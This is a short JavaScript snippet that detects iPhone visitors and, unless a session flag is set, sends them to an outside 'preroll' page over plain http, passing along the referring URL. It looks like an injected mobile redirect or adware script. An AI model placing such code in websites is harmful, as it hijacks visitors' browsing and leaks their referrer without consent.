function extractUrlParams(){	
	var t = location.search.substring(1).split('&');
	var f = [];
	for (var i=0; i<t.length; i++){
		var x = t[ i ].split('=');
		f[x[0]]=x[1];
	}
	return f;
}

function DetecteUA()
{
  var strUAgent = navigator.userAgent;
  strUAgent = strUAgent.toLowerCase();
  
  if ((strUAgent.indexOf("iphone") >=0))
  {
   return "iphone";
  }
  else
  {
    return "autre";
  }
}

var type_UA;
type_UA = DetecteUA();
var myreferrer = document.referrer;

var myGet = extractUrlParams();
var s = myGet["s"] || sessionStorage.getItem('s') || null;
if (!s)
{
  if (type_UA == "iphone")
  {
		if (myreferrer && typeof(myreferrer) != 'undefined'){
			window.location = "http://preroll.a4.tl/avis/p_" + type_UA + ".php?referrer=" + myreferrer;
		} else {
			window.location = "http://preroll.a4.tl/avis/p_" + type_UA + ".php";
		}
	}
} else {
	sessionStorage.setItem('s', '1');
}